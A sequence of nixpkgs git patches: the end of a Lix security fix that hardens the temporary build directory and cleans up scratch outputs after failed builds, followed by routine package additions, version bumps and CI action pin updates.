++The directory in which temporary build directories are created no longer defaults
++to the value of the `temp-dir` setting to avoid builders making their directories
++world-accessible. This behavior has been used to escape the build sandbox and can
++cause build impurities even when not used maliciously. We now default to `builds`
++in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index 7ccb0ad33..2e22f2544 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -435,10 +435,12 @@ try {
+         });
+     }
+ 
++    createDirs(settings.buildDir.get());
++
+     /* Create a temporary directory where the build will take
+        place. */
+     tmpDir = createTempDir(
+-        settings.buildDir.get().value_or(""),
++        settings.buildDir.get(),
+         "nix-build-" + std::string(drvPath.name()),
+         false,
+         false,
+diff --git a/lix/libstore/settings/build-dir.md b/lix/libstore/settings/build-dir.md
+index f518d52a5..738368622 100644
+--- a/lix/libstore/settings/build-dir.md
++++ b/lix/libstore/settings/build-dir.md
+@@ -1,14 +1,24 @@
+ ---
+ name: build-dir
+ internalName: buildDir
+-settingType: PathsSetting<std::optional<Path>>
+-default: null
++settingType: PathsSetting<Path>
++defaultText: "`«nixStateDir»/builds`"
++defaultExpr: nixStateDir + "/builds"
+ ---
+ The directory on the host, in which derivations' temporary build directories are created.
+ 
+-If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable.
+-Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface.
++If not set, Lix will use the `builds` subdirectory of its configured state directory.
++Lix will create this directory automatically with suitable permissions if it does not
++exist, otherwise its permissions must allow all users to traverse the directory (i.e.
++it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.
+ 
+ This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.
+ 
+ If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
++
++> Important:
++>
++> `build-dir` must not be set to a world-writable directory. Placing temporary build
++> directories in a world-writable place allows other users to access or modify build
++> data that is currently in use. This alone is merely an impurity, but combined with
++> another factor this has allowed malicious derivations to escape the build sandbox.
+diff --git a/misc/systemd/nix-daemon.conf.in b/misc/systemd/nix-daemon.conf.in
+index e7b264234..a0ddc4019 100644
+--- a/misc/systemd/nix-daemon.conf.in
++++ b/misc/systemd/nix-daemon.conf.in
+@@ -1 +1,2 @@
+-d @localstatedir@/nix/daemon-socket 0755 root root - -
++d @localstatedir@/nix/daemon-socket 0755 root root -  -
++d @localstatedir@/nix/builds        0755 root root 7d -
+diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh
+index 1582a7b32..e938e63a2 100644
+--- a/tests/functional/build-remote-trustless-should-fail-0.sh
++++ b/tests/functional/build-remote-trustless-should-fail-0.sh
+@@ -8,7 +8,6 @@ requireSandboxSupport
+ [[ $busybox =~ busybox ]] || skipTest "no busybox"
+ 
+ unset NIX_STORE_DIR
+-unset NIX_STATE_DIR
+ 
+ # We first build a dependency of the derivation we eventually want to
+ # build.
+diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh
+index 81e5253bf..a0733fd4a 100644
+--- a/tests/functional/build-remote-trustless.sh
++++ b/tests/functional/build-remote-trustless.sh
+@@ -2,7 +2,6 @@ requireSandboxSupport
+ [[ $busybox =~ busybox ]] || skipTest "no busybox"
+ 
+ unset NIX_STORE_DIR
+-unset NIX_STATE_DIR
+ 
+ remoteDir=$TEST_ROOT/remote
+ 
+diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh
+index 9b2f5feaf..c7aa09745 100644
+--- a/tests/functional/build-remote.sh
++++ b/tests/functional/build-remote.sh
+@@ -3,7 +3,6 @@ requireSandboxSupport
+ 
+ # Avoid store dir being inside sandbox build-dir
+ unset NIX_STORE_DIR
+-unset NIX_STATE_DIR
+ 
+ function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }
+ 
+diff --git a/tests/functional/check.sh b/tests/functional/check.sh
+index fc63b9e21..e6d017aa1 100644
+--- a/tests/functional/check.sh
++++ b/tests/functional/check.sh
+@@ -49,27 +49,6 @@ test_custom_build_dir() {
+ }
+ test_custom_build_dir
+ 
+-test_custom_temp_dir() {
+-  # like test_custom_build_dir(), but uses the temp-dir setting instead
+-  # build-dir inherits from temp-dir when build-dir is unset
+-  local customTempDir="$TEST_ROOT/custom-temp-dir"
+-
+-  mkdir "$customTempDir"
+-  nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \
+-      --no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$?
+-  [ "$status" = "100" ]
+-  [[ 1 == "$(count "$customTempDir/nix-build-"*)" ]]
+-  local buildDir="$customTempDir/nix-build-"*
+-  grep $checkBuildId $buildDir/checkBuildId
+-
+-  # also check a separate code path that doesn't involve build-dir
+-  # nix-shell uses temp-dir for its rcfile path
+-  rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log)
+-  # rcpath is <temp-dir>/nix-shell-*/rc
+-  [[ $rcpath = "$customTempDir"/* ]]
+-}
+-test_custom_temp_dir
+-
+ test_shell_preserves_tmpdir() {
+   # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir
+   local envTempDir=$TEST_ROOT/shell-temp-dir-env
+diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh
+index d18fb2414..c1a949eb4 100644
+--- a/tests/functional/supplementary-groups.sh
++++ b/tests/functional/supplementary-groups.sh
+@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF
+ 
+   # Avoid store dir being inside sandbox build-dir
+   unset NIX_STORE_DIR
+-  unset NIX_STATE_DIR
+ 
+   setLocalStore () {
+     export NIX_REMOTE=\$TEST_ROOT/\$1
+-- 
+2.49.0
+
+
+From ea51a906a7adb917f0fd57bc5d665be2e5e1badd Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Sat, 26 Apr 2025 20:38:58 +0200
+Subject: [SECURITY FIX 12/12] libstore/build: automatic clean up of
+ unsuccessfully built scratch outputs
+
+When a build fails, its scratch output paths are not cleaned up.
+
+Until recently, this was deemed not a problem but as part of the effort
+to harden the Nix builds and protect these paths against being part of a
+staged attack (race conditions, etc.), we automatically cleanup after
+failed builds.
+
+Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ .../aggressive-derivation-output-cleanups.md  | 15 +++++++
+ lix/libstore/build/local-derivation-goal.cc   | 41 +++++++++++++++----
+ lix/libstore/build/local-derivation-goal.hh   | 15 ++++++-
+ tests/nixos/default.nix                       |  3 ++
+ tests/nixos/non-chroot-misc/default.nix       | 34 +++++++++++++++
+ 5 files changed, 99 insertions(+), 9 deletions(-)
+ create mode 100644 doc/manual/rl-next/aggressive-derivation-output-cleanups.md
+ create mode 100644 tests/nixos/non-chroot-misc/default.nix
+
+diff --git a/doc/manual/rl-next/aggressive-derivation-output-cleanups.md b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md
+new file mode 100644
+index 000000000..7e94b99df
+--- /dev/null
++++ b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md
+@@ -0,0 +1,15 @@
++---
++synopsis: "Always clean up scratch paths after derivations failed to build"
++issues: []
++cls: []
++category: "Fixes"
++credits: ["raito", "horrors"]
++---
++
++Previously, scratch paths created during builds were not always cleaned up if
++the derivation failed, potentially leaving behind unnecessary temporary files
++or directories in the Nix store.
++
++This fix ensures that such paths are consistently removed after a failed build,
++improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
++scratch paths.
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index 2e22f2544..13bda5df9 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -393,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck()
+ 
+ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck()
+ {
+-    /* Delete unused redirected outputs (when doing hash rewriting). */
+-    for (auto & i : redirectedOutputs)
+-        deletePath(worker.store.Store::toRealPath(i.second));
++    /* In the past, redirected outputs were manually tracked for deletion.
++     * Now that we have the scratch outputs cleaner which are a superset of
++     * redirected outputs, we just fire all uncancelled automatic deleters now.
++     *
++     * This should clean up any paths that IS NOT registered in the database.
++     */
++    scratchOutputsCleaner.clear();
+ 
+     /* Delete the chroot (if we were using one). */
+     autoDelChroot.reset(); /* this runs the destructor */
+@@ -483,6 +487,10 @@ try {
+                    to use a temporary path */
+                 makeFallbackPath(status.known->path);
+         scratchOutputs.insert_or_assign(outputName, scratchPath);
++        /* Schedule this scratch output path for automatic deletion
++         * if we do not cancel it, e.g. when registering the outputs.
++         */
++        scratchOutputsCleaner.emplace(outputName, worker.store.printStorePath(scratchPath));
+ 
+         /* Substitute output placeholders with the scratch output paths.
+            We'll use during the build. */
+@@ -505,8 +513,6 @@ try {
+             std::string h2 { scratchPath.hashPart() };
+             inputRewrites[h1] = h2;
+         }
+-
+-        redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath));
+     }
+ 
+     /* Construct the environment passed to the builder. */
+@@ -1966,7 +1972,9 @@ try {
+             }
+ 
+             /* Don't register anything, since we already have the
+-               previous versions which we're comparing. */
++               previous versions which we're comparing.
++               NOTE: this means that the `.check` path will be automatically deleted.
++            */
+             continue;
+         }
+ 
+@@ -1990,8 +1998,13 @@ try {
+         /* If it's a CA path, register it right away. This is necessary if it
+            isn't statically known so that we can safely unlock the path before
+            the next iteration */
+-        if (newInfo.ca)
++        if (newInfo.ca) {
+             TRY_AWAIT(localStore.registerValidPaths({{newInfo.path, newInfo}}));
++            /* Cancel automatic deletion of that output if it was a scratch output. */
++            if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
++                cleaner.mapped().cancel();
++            }
++        }
+ 
+         infos.emplace(outputName, std::move(newInfo));
+     }
+@@ -2030,6 +2043,13 @@ try {
+             infos2.insert_or_assign(newInfo.path, newInfo);
+         }
+         TRY_AWAIT(localStore.registerValidPaths(infos2));
++
++        /* Cancel automatic deletion of that output if it was a scratch output that we just registered. */
++        for (auto & [outputName, _ ] : infos) {
++            if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
++                cleaner.mapped().cancel();
++            }
++        }
+     }
+ 
+     /* In case of a fixed-output derivation hash mismatch, throw an
+@@ -2057,6 +2077,13 @@ try {
+         builtOutputs.emplace(outputName, thisRealisation);
+     }
+ 
++    /* NOTE: At this point, all outputs MAY NOT have been registered.
++     * Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`).
++     *
++     * They will be finally deleted but we have no way to assert they all have been, e.g.
++     * `assert(scratchOutputsCleaner.size() == 0)` cannot be written.
++     */
++
+     co_return builtOutputs;
+ } catch (...) {
+     co_return result::current_exception();
+diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
+index a0031e141..7e1b9a632 100644
+--- a/lix/libstore/build/local-derivation-goal.hh
++++ b/lix/libstore/build/local-derivation-goal.hh
+@@ -111,8 +111,6 @@ struct LocalDerivationGoal : public DerivationGoal
+      * Hash rewriting.
+      */
+     StringMap inputRewrites, outputRewrites;
+-    typedef map<StorePath, StorePath> RedirectedOutputs;
+-    RedirectedOutputs redirectedOutputs;
+ 
+     /**
+      * The outputs paths used during the build.
+@@ -129,6 +127,19 @@ struct LocalDerivationGoal : public DerivationGoal
+      *   self-references.
+      */
+     OutputPathMap scratchOutputs;
++    /**
++     * Output paths used during the build are scheduled for
++     * automatic cleanup unless they have been successfully built.
++     *
++     * `registerOutputs` take care of cancelling the cleanups
++     * and clearing this vector.
++     *
++     * `startBuilder` take care of filling this vector
++     * as `scratchOutputs` gets filled.
++     *
++     * This is a map from output names to automatic delete handles.
++     */
++    std::map<std::string, AutoDelete> scratchOutputsCleaner;
+ 
+     /**
+      * Path registration info from the previous round, if we're
+diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
+index 2ad0923e1..7b9e11613 100644
+--- a/tests/nixos/default.nix
++++ b/tests/nixos/default.nix
+@@ -164,6 +164,9 @@ in
+ 
+   symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
+ 
++  # Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite.
++  non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc;
++
+   noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix;
+ 
+   noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix;
+diff --git a/tests/nixos/non-chroot-misc/default.nix b/tests/nixos/non-chroot-misc/default.nix
+new file mode 100644
+index 000000000..93a66a595
+--- /dev/null
++++ b/tests/nixos/non-chroot-misc/default.nix
+@@ -0,0 +1,34 @@
++{ ... }:
++# Misc things we want to test inside of a non redirected, non chroot Nix store.
++let
++  nonAutoCleaningFailingDerivationCode = ''
++    derivation {
++      name = "scratch-failing";
++      system = builtins.currentSystem;
++      builder = "/bin/sh";
++      args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ];
++    }
++  '';
++in
++{
++  name = "non-chroot-sandbox-misc";
++
++  nodes.machine = {
++  };
++
++  testScript = { nodes }: ''
++    import re
++    start_all()
++
++    # You might ask yourself why write such a convoluted thing?
++    # The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear.
++    # This is one of those: create a derivation, mkdir or touch the $out path, communicate it back.
++    # Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes.
++    result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""")
++    match = re.search(r'out: (\S+)', result)
++    assert match is not None, "Did not find Nix store path in the result of the failing build"
++    outpath = match.group(1).strip()
++    print(f"Found Nix store path: {outpath}")
++    machine.fail(f'stat {outpath}')
++  '';
++}
+-- 
+2.49.0
+

From 757182156486b0402a803c934b6ed5ed6e4eb789 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Fri, 20 Jun 2025 14:38:40 +0200
Subject: [PATCH 1508/4511] appmenu-glib-translator: init at 25.04

(cherry picked from commit 9ac1c98810b333d19b3fa7883244ac153a2ef2ae)
---
 .../ap/appmenu-glib-translator/package.nix    | 50 +++++++++++++++++++
 1 file changed, 50 insertions(+)
 create mode 100644 pkgs/by-name/ap/appmenu-glib-translator/package.nix

diff --git a/pkgs/by-name/ap/appmenu-glib-translator/package.nix b/pkgs/by-name/ap/appmenu-glib-translator/package.nix
new file mode 100644
index 000000000000..88265a3086c0
--- /dev/null
+++ b/pkgs/by-name/ap/appmenu-glib-translator/package.nix
@@ -0,0 +1,50 @@
+{
+  lib,
+  fetchFromGitLab,
+  glib,
+  gtk3,
+  meson,
+  ninja,
+  pkg-config,
+  gobject-introspection,
+  vala,
+  stdenv,
+  wrapGAppsHook3,
+}:
+stdenv.mkDerivation (finalAttrs: {
+  pname = "appmenu-glib-translator";
+  version = "25.04";
+
+  src = fetchFromGitLab {
+    owner = "vala-panel-project";
+    repo = "vala-panel-appmenu";
+    tag = finalAttrs.version;
+    fetchSubmodules = true;
+    hash = "sha256-v5J3nwViNiSKRPdJr+lhNUdKaPG82fShPDlnmix5tlY=";
+  };
+
+  sourceRoot = "source/subprojects/appmenu-glib-translator";
+
+  nativeBuildInputs = [
+    meson
+    ninja
+
+    pkg-config
+    wrapGAppsHook3
+    vala
+  ];
+
+  buildInputs = [
+    glib
+    gobject-introspection
+    gtk3
+  ];
+
+  meta = {
+    description = "GTK module that strips menus from all GTK programs, converts to MenuModel and sends to AppMenu";
+    homepage = "https://gitlab.com/vala-panel-project/vala-panel-appmenu/-/tree/${finalAttrs.version}/subprojects/appmenu-gtk-module";
+    license = lib.licenses.lgpl3Plus;
+    maintainers = with lib.maintainers; [ perchun ];
+    platforms = lib.platforms.linux;
+  };
+})

From a3a9edc6bd78cee0b973cc4c8c71e09138e66238 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Fri, 20 Jun 2025 14:39:08 +0200
Subject: [PATCH 1509/4511] astal.tray: unbreak

(cherry picked from commit b06f55695f3c4032685dc5fb5246bdf7188dec55)
---
 pkgs/development/libraries/astal/modules/tray.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/astal/modules/tray.nix b/pkgs/development/libraries/astal/modules/tray.nix
index 6ccf216fc029..f56c8e2111c8 100644
--- a/pkgs/development/libraries/astal/modules/tray.nix
+++ b/pkgs/development/libraries/astal/modules/tray.nix
@@ -1,10 +1,13 @@
 {
   buildAstalModule,
   json-glib,
+  appmenu-glib-translator,
 }:
 buildAstalModule {
   name = "tray";
-  buildInputs = [ json-glib ];
+  buildInputs = [
+    json-glib
+    appmenu-glib-translator
+  ];
   meta.description = "Astal module for StatusNotifierItem";
-  meta.broken = true; # https://github.com/NixOS/nixpkgs/issues/337630
 }

From d515f7288cb0988f78f2ed90953e08c24e0283b2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 23 Jun 2025 17:23:08 +0000
Subject: [PATCH 1510/4511] firefly-iii: 6.2.17 -> 6.2.18

(cherry picked from commit 18f89bfb370f5a496fd2a4cac5d497e87a6a81f4)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 005f8b172f2f..172d5445f65b 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.17";
+  version = "6.2.18";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-g/mGCc7JxfWrbrh14OXaKgn0rjf4RMNL2NI4GzrphaY=";
+    hash = "sha256-QQlfUbDanyj3n0EOhPxfMqsrl9laQq2CQbwRY4/gH8k=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-2GvBlKRTqehD7eVpEGd9zBoiom30DRMqatyHNF4eDiU=";
+    vendorHash = "sha256-h/DWKOlffEBWZhdf5iQf4f33IK+1Ie289Oqjb7GHfVY=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-uZluWsHpbD2lMG/yNoZxry5X+Hiv3z/H4KqV7pydu/A=";
+    hash = "sha256-YbMUM+fXIuXVrv7QMlPklct3mDHI05PoOW+fgHf8c3I=";
   };
 
   preInstall = ''

From a46e9b439367094c3f25ab821672fae725aacd21 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 24 Jun 2025 18:26:59 +0200
Subject: [PATCH 1511/4511] workflows: nix: 2.29.0 -> 2.29.1

(cherry picked from commit ea10312659ed4de3533e25388c0615b59ed90df1)
---
 .github/workflows/build.yml         | 2 +-
 .github/workflows/codeowners-v2.yml | 4 ++--
 .github/workflows/eval.yml          | 6 +++---
 .github/workflows/lint.yml          | 6 +++---
 .github/workflows/reviewers.yml     | 2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 20600d9d9a31..29c7c68d631f 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -49,7 +49,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 89908ede868d..97fcfc63bdd2 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -59,7 +59,7 @@ jobs:
           merged-as-untrusted: true
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -107,7 +107,7 @@ jobs:
     name: Request
     runs-on: ubuntu-24.04-arm
     steps:
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
 
       # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head.
       # This is intentional, because we need to request the review of owners as declared in the base branch.
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 71ba62cdf4c7..5999aedcb938 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -46,7 +46,7 @@ jobs:
           path: untrusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -166,7 +166,7 @@ jobs:
           path: trusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -243,7 +243,7 @@ jobs:
           merged-as-untrusted: true
 
       - name: Install Nix
-        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 4bf917d800db..0b2da1070d20 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -29,7 +29,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -61,7 +61,7 @@ jobs:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -86,7 +86,7 @@ jobs:
           targetSha: ${{ inputs.targetSha }}
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+      - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index bd1d8aed7204..1d518133cf6d 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -35,7 +35,7 @@ jobs:
           sparse-checkout: ci
 
       - name: Install Nix
-        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
         with:
           extra_nix_config: sandbox = true
 

From cef0f0cf23e38327a76aaeaa5387859c45bfc47a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 22 Jun 2025 19:35:37 +0000
Subject: [PATCH 1512/4511] mdns-scanner: 0.12.1 -> 0.13.0

(cherry picked from commit eaf6d06d65e8603cd54f527d61d86244ddf4f6e1)
---
 pkgs/by-name/md/mdns-scanner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/md/mdns-scanner/package.nix b/pkgs/by-name/md/mdns-scanner/package.nix
index 17e9f15247b6..781cf8669be0 100644
--- a/pkgs/by-name/md/mdns-scanner/package.nix
+++ b/pkgs/by-name/md/mdns-scanner/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mdns-scanner";
-  version = "0.12.1";
+  version = "0.13.0";
 
   src = fetchFromGitHub {
     owner = "CramBL";
     repo = "mdns-scanner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-I0/ms1FFTGgSk101GBascTSMBCLAmzqk2yiNYskedvU=";
+    hash = "sha256-86GpBjgfBMkqzoWPEbjQM6PvSEb67A8nL7sEtplXoic=";
   };
 
-  cargoHash = "sha256-JdeIEaSfiMCQ9n3Y4DpTWhheHaA54zJKUsG/e4Xo9LU=";
+  cargoHash = "sha256-z0IHONtU1pgViQZu0Q2fZVjdJ6sSlgnIw83hqWLKfVM=";
 
   meta = {
     homepage = "https://github.com/CramBL/mdns-scanner";

From 041905f857d3fad7f98fdd89f7f64d9d83f747be Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Tue, 24 Jun 2025 20:30:37 +0200
Subject: [PATCH 1513/4511] lixPackageSets.git:
 2.94.0-pre-20250621_242a228124f7 -> 2.94.0-pre-20250624_42e2bd045c9e

---
 pkgs/tools/package-management/lix/default.nix |   10 +-
 .../LIX_HEAD_CVE-2025-46415_46416.patch       | 2363 -----------------
 2 files changed, 3 insertions(+), 2370 deletions(-)
 delete mode 100644 pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index d297c52b21f9..6df8255dd7ea 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -238,14 +238,14 @@ lib.makeExtensible (self: {
     attrName = "git";
 
     lix-args = rec {
-      version = "2.94.0-pre-20250509_${builtins.substring 0 12 src.rev}";
+      version = "2.94.0-pre-20250624_${builtins.substring 0 12 src.rev}";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
-        rev = "242a228124f77b57c2e3b3aedb259ffb7913cd3c";
-        hash = "sha256-hCbhc9P+UmIlYv81+vs6v3bDqviCUhwPH3XqClZdfSk=";
+        rev = "42e2bd045c9e51a59fdab038dc4e6f9e86c4922c";
+        hash = "sha256-BsY8kpwQML9/036g9C+No7lhzqmn4ZTlIsuo92SVSJk=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {
@@ -253,10 +253,6 @@ lib.makeExtensible (self: {
         inherit src;
         hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8=";
       };
-
-      patches = [
-        ./patches/LIX_HEAD_CVE-2025-46415_46416.patch
-      ];
     };
   };
 
diff --git a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch
deleted file mode 100644
index 130aa2e5eaf3..000000000000
--- a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch
+++ /dev/null
@@ -1,2363 +0,0 @@
-From c7976e63a3d93386b2811dba2b92ba452c561696 Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Wed, 26 Mar 2025 01:04:12 +0100
-Subject: [SECURITY FIX 01/12] libutil: guess or invent a path from file
- descriptors
-
-This is useful for certain error recovery paths (no pun intended) that
-does not thread through the original path name.
-
-Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- lix/libutil/file-descriptor.cc | 23 ++++++++++
- lix/libutil/file-descriptor.hh | 18 ++++++++
- meson.build                    |  5 +++
- tests/unit/libutil/tests.cc    | 81 ++++++++++++++++++++++++++++++++++
- 4 files changed, 127 insertions(+)
-
-diff --git a/lix/libutil/file-descriptor.cc b/lix/libutil/file-descriptor.cc
-index 39a4e0bdd..83496b6a6 100644
---- a/lix/libutil/file-descriptor.cc
-+++ b/lix/libutil/file-descriptor.cc
-@@ -155,6 +155,29 @@ int AutoCloseFD::get() const
-     return fd;
- }
- 
-+std::string guessOrInventPathFromFD(int fd)
-+{
-+    assert(fd >= 0);
-+    /* On Linux, there's no F_GETPATH available.
-+     * But we can read /proc/ */
-+#if __linux__
-+    try {
-+        return readLink(fmt("/proc/self/fd/%1%", fd).c_str());
